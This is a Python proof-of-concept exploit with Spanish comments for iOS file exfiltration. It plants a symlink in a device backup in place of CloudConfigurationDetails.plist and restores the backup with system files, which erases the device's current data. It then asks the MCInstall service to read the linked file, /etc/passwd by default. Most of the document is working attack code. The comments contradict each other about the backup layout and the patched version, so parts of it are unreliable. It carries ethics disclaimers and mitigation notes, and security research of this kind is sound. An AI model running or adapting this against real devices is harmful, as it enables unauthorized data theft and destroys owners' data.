#!/usr/bin/env python3 import os import sys import shutil import subprocess import tempfile import plistlib import time import argparse from packaging.version import parse as parse_version # Para comparar versiones # Requisitos: # - idevicebackup2 (libimobiledevice) # - pip install usbmux-python python-lockdown packaging try: from usbmux import Usbmux from lockdown import LockdownClient, LockdownError except ImportError: print("ERROR: Faltan las librerías 'usbmux-python' o 'python-lockdown'.") print("Por favor, instálalas con: pip install usbmux-python python-lockdown packaging") sys.exit(1) # --- Configuración y Constantes --- DEFAULT_BACKUP_DIR = os.path.abspath("vulnerable_backup_analysis") DEFAULT_TARGET_FILE = "/private/etc/passwd" # Ejemplo clásico, podría ser otro archivo para análisis DEFAULT_PLIST_REL_PATH = ( "SystemGroup/systemgroup.com.apple.configurationprofiles/" "Library/ConfigurationProfiles/CloudConfigurationDetails.plist" ) # Versión de iOS a partir de la cual se considera que este vector específico está parchado # (NOTA: "18.3" es una versión inusual, usado aquí por consistencia con el PoC original. # Normalmente serían versiones como "17.5", "18.0", etc. Apple parchó este tipo # de problemas con symlinks en ConfigurationProfiles en versiones anteriores a iOS 17) PATCHED_IOS_VERSION = "18.3" # Ajustar según la vulnerabilidad específica documentada # --- Logging y Funciones Auxiliares --- def log_info(message): print(f"[INFO] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}") def log_error(message): print(f"[ERROR] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}", file=sys.stderr) def log_success(message): print(f"[SUCCESS] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}") def log_command(cmd_list): print(f">>> CMD: {' '.join(cmd_list)}") def run_command(cmd, **kwargs): log_command(cmd) try: proc = subprocess.run(cmd, check=True, capture_output=True, text=True, **kwargs) if proc.stdout: # log_info(f"Salida del comando:\n{proc.stdout.strip()}") pass # Descomentar si se desea ver toda la salida if proc.stderr: log_info(f"Salida de error del comando (si la hubo):\n{proc.stderr.strip()}") return proc except subprocess.CalledProcessError as e: log_error(f"El comando falló con código {e.returncode}") if e.stdout: log_error(f"Stdout:\n{e.stdout.strip()}") if e.stderr: log_error(f"Stderr:\n{e.stderr.strip()}") raise # Re-lanza la excepción para que sea manejada por el main def check_dependencies(): log_info("Verificando dependencia: idevicebackup2...") if shutil.which("idevicebackup2") is None: log_error("`idevicebackup2` no encontrado en el PATH. Asegúrate de que libimobiledevice esté instalado.") sys.exit(1) log_success("`idevicebackup2` encontrado.") # --- Funciones Principales del Exploit --- def get_device_info(lockdown_client): """Obtiene información del dispositivo, como la versión de iOS.""" try: product_version = lockdown_client.get_value(None, 'ProductVersion') product_build = lockdown_client.get_value(None, 'ProductBuildVersion') device_name = lockdown_client.get_value(None, 'DeviceName') udid = lockdown_client.udid log_info(f"Dispositivo Conectado: {device_name} (UDID: {udid})") log_info(f"Versión de iOS: {product_version} (Build: {product_build})") return {"ProductVersion": product_version, "ProductBuildVersion": product_build} except LockdownError as e: log_error(f"No se pudo obtener información del dispositivo vía lockdown: {e}") return None def check_ios_vulnerability(ios_version_str): """ Comprueba si la versión de iOS conectada es potencialmente vulnerable. ADVERTENCIA: Este es un chequeo simple. La vulnerabilidad real puede depender de builds específicos o configuraciones no detectadas aquí. """ if not ios_version_str: log_error("No se pudo determinar la versión de iOS para la comprobación de vulnerabilidad.") return False # Proceder con precaución try: # Comparamos versiones. Si la versión del dispositivo es MENOR que la parchada, es vulnerable. if parse_version(ios_version_str) < parse_version(PATCHED_IOS_VERSION): log_info(f"La versión de iOS {ios_version_str} es ANTERIOR a {PATCHED_IOS_VERSION} y podría ser vulnerable.") return True else: log_warning(f"La versión de iOS {ios_version_str} es IGUAL o POSTERIOR a {PATCHED_IOS_VERSION}.") log_warning("Este exploit probablemente NO FUNCIONARÁ. Apple corrige la manipulación de symlinks en ConfigurationProfiles.") # return False # Descomentar para detener la ejecución si se detecta parchado return True # Permitir continuar para fines de investigación, incluso si se espera que falle except Exception as e: log_error(f"Error al comparar versiones de iOS ('{ios_version_str}' vs '{PATCHED_IOS_VERSION}'): {e}") return False # En caso de error, ser conservador def log_warning(message): print(f"[WARNING] {time.strftime('%Y-%m-%d %H:%M:%S')} - {message}") def prepare_malicious_backup(backup_dir, target_file, plist_rel_path): log_info(f"Iniciando preparación de copia de seguridad modificada en: {backup_dir}") log_info(f"Archivo objetivo a exfiltrar: {target_file}") log_info(f"Ruta relativa del Plist a reemplazar: {plist_rel_path}") # 1. Limpiar directorio de copia de seguridad previo if os.path.isdir(backup_dir): log_info(f"Eliminando directorio de copia de seguridad existente: {backup_dir}") try: shutil.rmtree(backup_dir) except OSError as e: log_error(f"No se pudo eliminar {backup_dir}: {e}. Verifica los permisos o archivos en uso.") sys.exit(1) try: os.makedirs(backup_dir, exist_ok=True) except OSError as e: log_error(f"No se pudo crear {backup_dir}: {e}") sys.exit(1) # 2. Generar copia de seguridad limpia inicial log_info("Generando copia de seguridad base del dispositivo...") run_command(["idevicebackup2", "backup", "--full", backup_dir]) # --full para asegurar que todo esté log_success("Copia de seguridad base generada.") # 3. Cargar Manifest.plist para encontrar el hash del fichero plist manifest_path = os.path.join(backup_dir, "Manifest.plist") if not os.path.exists(manifest_path): log_error(f"Manifest.plist no encontrado en {backup_dir}. La copia de seguridad falló o está incompleta.") sys.exit(1) log_info(f"Cargando Manifest.plist desde: {manifest_path}") with open(manifest_path, "rb") as f: manifest = plistlib.load(f) # Buscar la entrada cuyo 'RelativePath' coincide con PLIST_REL_PATH # El Manifest.plist almacena los archivos con un hash como nombre de archivo. # Necesitamos encontrar ese hash para el archivo que queremos reemplazar. target_hash = None target_entry_details = None # Para loguear más info for file_hash, entry in manifest.get("Manifest", {}).get("FileBackupDict", {}).items(): if isinstance(entry, dict) and entry.get("RelativePath") == plist_rel_path: target_hash = entry.get("File") # A veces el hash está en 'File', otras es la key if not target_hash: # Si 'File' no existe o está vacío, el hash es la clave del dict target_hash = file_hash target_entry_details = entry break if not target_hash: log_error(f"No se pudo localizar '{plist_rel_path}' en Manifest.plist.") log_error("Posibles razones: la ruta es incorrecta, el archivo no existe en este iOS, o el Manifest.plist tiene una estructura inesperada.") log_info("Archivos disponibles en el manifiesto (primeros 10):") count = 0 for _, entry in manifest.get("Manifest", {}).get("FileBackupDict", {}).items(): if isinstance(entry, dict) and "RelativePath" in entry: log_info(f" - {entry['RelativePath']}") count +=1 if count >=10: break sys.exit(1) log_success(f"Encontrado '{plist_rel_path}'. Hash del archivo en copia de seguridad: {target_hash}") if target_entry_details: log_info(f"Detalles de la entrada del manifiesto: {target_entry_details}") # 4. Sustituir el fichero por un symlink # La estructura de la copia de seguridad suele ser: Backup//Manifest/Data/ # Aunque idevicebackup2 podría variar, normalmente los datos están en subdirectorios basados en los dos primeros caracteres del hash. # Ejemplo: si hash es 'abcdef123...', el archivo es 'ab/abcdef123...' # El Manifest.plist en sí mismo no siempre tiene el path directo, el 'File' es el ID. # El archivo real estará en un subdirectorio (ej. 'Data//') # o directamente si el hash no se usa para crear subdirectorios en la implementación de backup. # Para idevicebackup2, la estructura parece ser más simple: / # El script original busca en `Manifest/Data/target_hash`. Verifiquemos esto. # El path correcto es: / (el nombre del fichero en el backup es el hash) # Los ficheros se almacenan directamente en BACKUP_DIR con su hash como nombre, sin un subdirectorio "Data" o "Manifest" intermedio para los datos en sí. # El Manifest.plist sí está en la raíz. Los archivos de datos están por hash en la misma raíz. # Corrección: `idevicebackup2` almacena los archivos con nombres de archivo que son sus hashes SHA1, # directamente dentro del directorio de backup (o en subdirectorios si el backup es muy grande y usa el formato " oggetti"). # Sin embargo, `Manifest.plist` lista `File` como el identificador. El PoC original busca en `/Manifest/Data/`. # Este path puede variar según la herramienta de backup. `idevicebackup2` suele tener una estructura donde el hash es el nombre del archivo. # Vamos a asumir que el script original era correcto para su versión de libimobiledevice y formato de backup. # Si `target_hash` incluye un path (ej. "ab/abcdef..."), `os.path.join` lo manejará. # Generalmente, los archivos están en directorios nombrados con los dos primeros caracteres de su hash. # Ej: /// # El path para los datos en sí, según el manifiesto, no está directamente allí. # `target_hash` es el nombre del archivo tal como se almacena. # Si los archivos se almacenan en subdirectorios basados en los dos primeros caracteres de su hash: file_to_replace_path = os.path.join(backup_dir, target_hash[:2], target_hash) if not os.path.exists(file_to_replace_path): # Si no está en un subdirectorio, quizás está directamente (menos común para backups grandes) file_to_replace_path = os.path.join(backup_dir, target_hash) if not os.path.exists(file_to_replace_path): # El PoC original usaba 'Manifest/Data/target_hash' que parece incorrecto para idevicebackup2 moderno. # Es más probable que los archivos estén en la raíz del backup nombrado por su hash, o en subdirs / # Vamos a re-evaluar la estructura típica de un backup hecho con idevicebackup2. # Un `Manifest.plist` y un `Info.plist` están en la raíz. Los archivos de datos están nombrados por su hash SHA1 # y ubicados en subdirectorios nombrados con los dos primeros caracteres de su hash. # Ejemplo: si el hash es 'ff[...]'. El archivo estará en 'ff/ff[...]' dentro del directorio del backup. log_error(f"No se encontró el archivo de datos con hash '{target_hash}' en la estructura esperada ({file_to_replace_path} o similar).") log_error("La estructura del backup podría haber cambiado o el hash es incorrecto.") log_error("Contenido del directorio de backup:") for item in os.listdir(backup_dir): log_info(f" - {item}") sys.exit(1) log_info(f"Archivo de datos a reemplazar encontrado en: {file_to_replace_path}") log_info(f"Eliminando archivo original: {file_to_replace_path}") try: os.remove(file_to_replace_path) except OSError as e: log_error(f"No se pudo eliminar {file_to_replace_path}: {e}") sys.exit(1) log_info(f"Creando symlink desde {file_to_replace_path} -> {target_file}") try: # En el contexto de la restauración, el symlink se interpreta DESDE el dispositivo. # Por lo tanto, el target_file (ej: /etc/passwd) debe ser una ruta absoluta EN EL DISPOSITIVO. os.symlink(target_file, file_to_replace_path) except OSError as e: log_error(f"No se pudo crear el symlink: {e}") sys.exit(1) log_success(f"Symlink creado exitosamente: {file_to_replace_path} -> {target_file}") log_info("Symlink creado en la copia de seguridad local. Durante la restauración, iOS interpretará este symlink en su propio sistema de archivos.") # 5. (Opcional) Actualizar tamaño y checksum en el manifest # Como dice el PoC original, `idevicebackup2` suele regenerar estas entradas al restaurar, # así que normalmente no es necesario. Manipular el Manifest.plist incorrectamente podría corromper la copia. # MITIGACIÓN DE APPLE: Apple podría verificar la integridad de los archivos contra el Manifest.plist # y, más importante, sanear los symlinks durante la restauración, especialmente aquellos que apuntan # a rutas sensibles o fuera de los directorios esperados de la aplicación/perfil. # También podrían validar que el archivo `CloudConfigurationDetails.plist` sea un plist válido y no un symlink. log_info("Preparación de la copia de seguridad modificada completada.") def restore_modified_backup(backup_dir, udid=None): log_info(f"Iniciando restauración de la copia de seguridad modificada desde: {backup_dir}") log_warning("ADVERTENCIA: Esto restaurará el dispositivo al estado de la copia de seguridad. TODOS LOS DATOS ACTUALES EN EL DISPOSITIVO SE PERDERÁN.") log_warning("Asegúrate de que el dispositivo esté desbloqueado y confíe en este ordenador.") # input("Presiona Enter para continuar con la restauración, o Ctrl+C para abortar...") cmd = ["idevicebackup2"] if udid: cmd.extend(["-u", udid]) cmd.extend(["restore", "--system", "--reboot", "--copy", backup_dir]) # Opciones de restauración: # --system: restaura también los archivos del sistema. # --reboot: reinicia el dispositivo después de la restauración. # --copy: usa el directorio de backup tal cual. # Es importante que la copia de seguridad sea compatible con el dispositivo y la versión de iOS. # Una restauración de una copia de seguridad de una versión muy diferente de iOS puede fallar. log_info("Restaurando la copia de seguridad modificada. Esto puede tardar varios minutos...") run_command(cmd) log_success("Restauración completada (o iniciada, el dispositivo se reiniciará).") log_info("El dispositivo se reiniciará. Espera a que el sistema se estabilice.") def trigger_exploit_via_lockdown(target_file, udid_to_use=None): log_info("Intentando explotar la vulnerabilidad a través del servicio lockdown...") log_info("Esperando a que el dispositivo se reinicie y los servicios estén disponibles (aprox. 60-120 segundos)...") # El tiempo de espera puede necesitar ajuste. # Un reinicio completo y la inicialización de servicios pueden tardar. time.sleep(90) # Aumentado el tiempo de espera mux = None lockdown_conn = None mc_conn = None try: log_info("Conectando a usbmuxd...") mux = Usbmux() devices = mux.get_device_list() if not devices: log_error("No se detectaron dispositivos iOS conectados vía USB.") return if udid_to_use: device = next((d for d in devices if d.get("UDID") == udid_to_use), None) if not device: log_error(f"No se encontró el dispositivo con UDID {udid_to_use}.") log_info(f"Dispositivos disponibles: {devices}") return elif len(devices) == 1: device = devices[0] log_info(f"Detectado un único dispositivo: {device.get('UDID')}") else: log_error("Múltiples dispositivos conectados. Por favor, especifica el UDID con --udid.") log_info(f"Dispositivos disponibles: {[d.get('UDID') for d in devices]}") return udid = device["UDID"] log_info(f"Estableciendo conexión con el dispositivo: {udid}") # Conectar al servicio lockdown # El puerto 44 es interno de usbmuxd, no el puerto de lockdown del dispositivo. # Usualmente se conecta al servicio 'com.apple.mobile.lockdown' a través de usbmuxd que asigna un puerto. # La librería python-lockdown maneja esto. log_info("Conectando a Lockdown service...") client = LockdownClient(udid=udid) # LockdownClient maneja la conexión vía usbmux # Obtener información del dispositivo y comprobar vulnerabilidad device_info = get_device_info(client) if device_info and device_info.get("ProductVersion"): if not check_ios_vulnerability(device_info["ProductVersion"]): # Se muestra una advertencia en check_ios_vulnerability, pero podríamos detenernos aquí. # log_warning("El exploit podría no funcionar en esta versión de iOS.") # return # Comentar si se quiere intentar de todas formas pass # Iniciar el servicio MCInstall (MobileConfigurationInstall) # Este servicio es el que se engañará para que lea el symlink. log_info("Solicitando inicio del servicio 'com.apple.mobile.MCInstall'...") mc_service_info = client.start_service("com.apple.mobile.MCInstall") if not mc_service_info or "Port" not in mc_service_info: log_error("No se pudo iniciar el servicio 'com.apple.mobile.MCInstall' o no se obtuvo el puerto.") log_error(f"Respuesta de start_service: {mc_service_info}") return mc_port = mc_service_info["Port"] log_info(f"Servicio 'com.apple.mobile.MCInstall' iniciado en el puerto: {mc_port}") # Conectar directamente al servicio MCInstall en el puerto obtenido # Se necesita una nueva conexión usbmux para este puerto específico. log_info(f"Conectando al servicio MCInstall en el puerto {mc_port}...") mc_conn = mux.connect(udid, mc_port) # Usar el UDID y el puerto del servicio mc_client = LockdownClient(mc_conn, is_trusted_connection=True) # Reutilizar LockdownClient para enviar mensajes plist # Enviar el comando GetCloudConfiguration # Este comando normalmente lee `CloudConfigurationDetails.plist`. # Debido a nuestro symlink, leerá `target_file`. log_info("Enviando comando 'GetCloudConfiguration' al servicio MCInstall...") # El comando no requiere argumentos. # La respuesta esperada es un plist que contiene 'FileData' con el contenido del archivo. response_plist = mc_client.send({"Request": "GetCloudConfiguration"}) if not response_plist: log_error("No se recibió respuesta del servicio MCInstall al comando GetCloudConfiguration.") return log_info(f"Respuesta recibida de GetCloudConfiguration: {response_plist}") # Loguear toda la respuesta # MITIGACIÓN DE APPLE: El servicio MCInstall podría verificar si el archivo que está leyendo # es realmente un plist y no un archivo de tipo inesperado, o si es un symlink. # También podría estar sandboxed para no poder seguir symlinks fuera de su directorio esperado. file_data = response_plist.get("FileData") if file_data: # FileData suele ser bytes, decodificar a string. # Usar 'replace' para errores de decodificación si el archivo no es texto puro. try: content = file_data.decode("utf-8", errors="replace") log_success(f"¡ÉXITO! Contenido de '{target_file}' leído del dispositivo:") print("-" * 70) print(content) print("-" * 70) except AttributeError: # Si FileData no es bytes (ej. ya es string o None) log_error(f"FileData no es del tipo bytes, es {type(file_data)}. Contenido: {file_data}") except Exception as e: log_error(f"Error al decodificar FileData: {e}") log_info(f"FileData (raw bytes, primeros 200): {file_data[:200] if isinstance(file_data, bytes) else file_data}") else: log_error(f"No se encontró 'FileData' en la respuesta de GetCloudConfiguration.") log_error("El exploit podría haber fallado. Razones posibles:") log_error(" - La versión de iOS está parchada y el symlink fue ignorado o eliminado.") log_error(" - El servicio MCInstall tiene protecciones adicionales (sandboxing, validación de tipo de archivo).") log_error(" - El archivo CloudConfigurationDetails.plist original no existía y el symlink no se pudo resolver correctamente.") log_error(" - Problemas de permisos para leer el archivo objetivo.") except LockdownError as e: log_error(f"Error de Lockdown: {e}") log_error("Asegúrate de que el dispositivo confíe en el ordenador y no esté bloqueado con contraseña.") except ConnectionRefusedError as e: log_error(f"Conexión rechazada: {e}. ¿Está usbmuxd corriendo? ¿Está el dispositivo conectado y disponible?") except Exception as e: log_error(f"Error inesperado durante la fase de explotación: {e}") import traceback traceback.print_exc() finally: log_info("Cerrando conexiones...") if mc_conn: try: mc_conn.close() except Exception as e_close: log_warning(f"Error cerrando conexión a MCInstall: {e_close}") # La conexión principal de LockdownClient (client) se cierra automáticamente al salir del contexto, # o si se usó `with LockdownClient(...) as client:` # Si no, client.close() sería necesario si se quiere ser explícito. # mux no tiene un método close explícito en la librería usbmux-python tal como se usa aquí. def main(): parser = argparse.ArgumentParser( description="PoC para exfiltración de archivos en iOS vía manipulación de backup y servicio MCInstall.", formatter_class=argparse.RawTextHelpFormatter, epilog=""" ADVERTENCIA ÉTICA Y LEGAL: Este script es una Prueba de Concepto (PoC) con fines educativos y de investigación en seguridad. NO UTILICES este script en dispositivos para los que no tengas autorización explícita. El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones. El autor/proveedor de este script no se hace responsable del mal uso. MITIGACIÓN DE APPLE: Apple ha implementado varias mitigaciones contra este tipo de ataques, incluyendo: 1. Saneamiento de symlinks durante la restauración de copias de seguridad (no se restauran o se resuelven de forma segura). 2. Sandboxing más estricto de los servicios del sistema como MCInstall. 3. Verificación del tipo de archivo y contenido esperado antes de procesar archivos de configuración. Este PoC asume una versión de iOS vulnerable (< 18.3 según el PoC original, pero en realidad este tipo de vulnerabilidades fueron parchadas mucho antes). """ ) parser.add_argument( "--backup-dir", default=DEFAULT_BACKUP_DIR, help=f"Directorio para la copia de seguridad maliciosa (default: {DEFAULT_BACKUP_DIR})" ) parser.add_argument( "--target-file", default=DEFAULT_TARGET_FILE, help=f"Archivo absoluto en el dispositivo a exfiltrar (default: {DEFAULT_TARGET_FILE})" ) parser.add_argument( "--plist-rel-path", default=DEFAULT_PLIST_REL_PATH, help=f"Ruta relativa del plist a reemplazar en la copia de seguridad (default: {DEFAULT_PLIST_REL_PATH})" ) parser.add_argument( "--udid", default=None, help="UDID del dispositivo objetivo si hay múltiples dispositivos conectados." ) parser.add_argument( "--skip-backup", action="store_true", help="Omitir la fase de preparación y restauración de la copia de seguridad (asume que ya se hizo)." ) parser.add_argument( "--skip-exploit", action="store_true", help="Omitir la fase de explotación (solo preparar y restaurar la copia de seguridad)." ) parser.add_argument( "--patched-ios-version", default=PATCHED_IOS_VERSION, help=f"Versión de iOS a partir de la cual se considera parchado (default: {PATCHED_IOS_VERSION})" ) args = parser.parse_args() # Actualizar la constante global si se proporciona desde CLI global PATCHED_IOS_VERSION PATCHED_IOS_VERSION = args.patched_ios_version check_dependencies() # Imprimir advertencia inicial log_warning("=" * 70) log_warning("ADVERTENCIA: Este script es una Prueba de Concepto (PoC).") log_warning("Su uso indebido puede tener consecuencias legales y éticas.") log_warning("Úsalo de forma responsable y solo en dispositivos con autorización.") log_warning("Este script modificará una copia de seguridad y la restaurará en un dispositivo,") log_warning("lo que implica la PÉRDIDA DE DATOS ACTUALES en el dispositivo.") log_warning("=" * 70) # input("Presiona Enter si entiendes los riesgos y deseas continuar, o Ctrl+C para abortar...") udid_to_use = args.udid # Si no se especifica UDID, intentar obtenerlo para la restauración si solo hay un dispositivo. if not udid_to_use and not args.skip_backup : # Solo necesario si vamos a hacer backup/restore try: mux_temp = Usbmux() devices_temp = mux_temp.get_device_list() if len(devices_temp) == 1: udid_to_use = devices_temp[0]["UDID"] log_info(f"Detectado automáticamente UDID: {udid_to_use} para backup/restore.") elif len(devices_temp) > 1 and (not args.skip_backup or not args.skip_exploit): log_error("Múltiples dispositivos conectados y no se especificó UDID. Usa --udid.") sys.exit(1) elif not devices_temp and (not args.skip_backup or not args.skip_exploit): log_error("No hay dispositivos conectados.") sys.exit(1) except Exception as e: log_warning(f"No se pudo autodetectar UDID: {e}. Si la operación falla, especifícalo con --udid.") try: if not args.skip_backup: log_info("==> Fase 1: Preparando copia de seguridad maliciosa…") prepare_malicious_backup(args.backup_dir, args.target_file, args.plist_rel_path) log_info("==> Fase 2: Restaurando copia de seguridad modificada…") restore_modified_backup(args.backup_dir, udid_to_use) log_info("El dispositivo se está reiniciando. La explotación comenzará después de una pausa.") else: log_info("==> Omitiendo preparación y restauración de copia de seguridad según lo solicitado.") if not args.skip_exploit: log_info("==> Fase 3: Explotando vía lockdown…") trigger_exploit_via_lockdown(args.target_file, udid_to_use) else: log_info("==> Omitiendo fase de explotación según lo solicitado.") log_success("Proceso completado.") except subprocess.CalledProcessError: # El error ya fue logueado por run_command log_error("Una operación de subproceso falló. Revisa los logs anteriores.") sys.exit(1) except Exception as e: log_error(f"ERROR INESPERADO en la ejecución principal: {e}") import traceback traceback.print_exc() sys.exit(1) if __name__ == "__main__": main()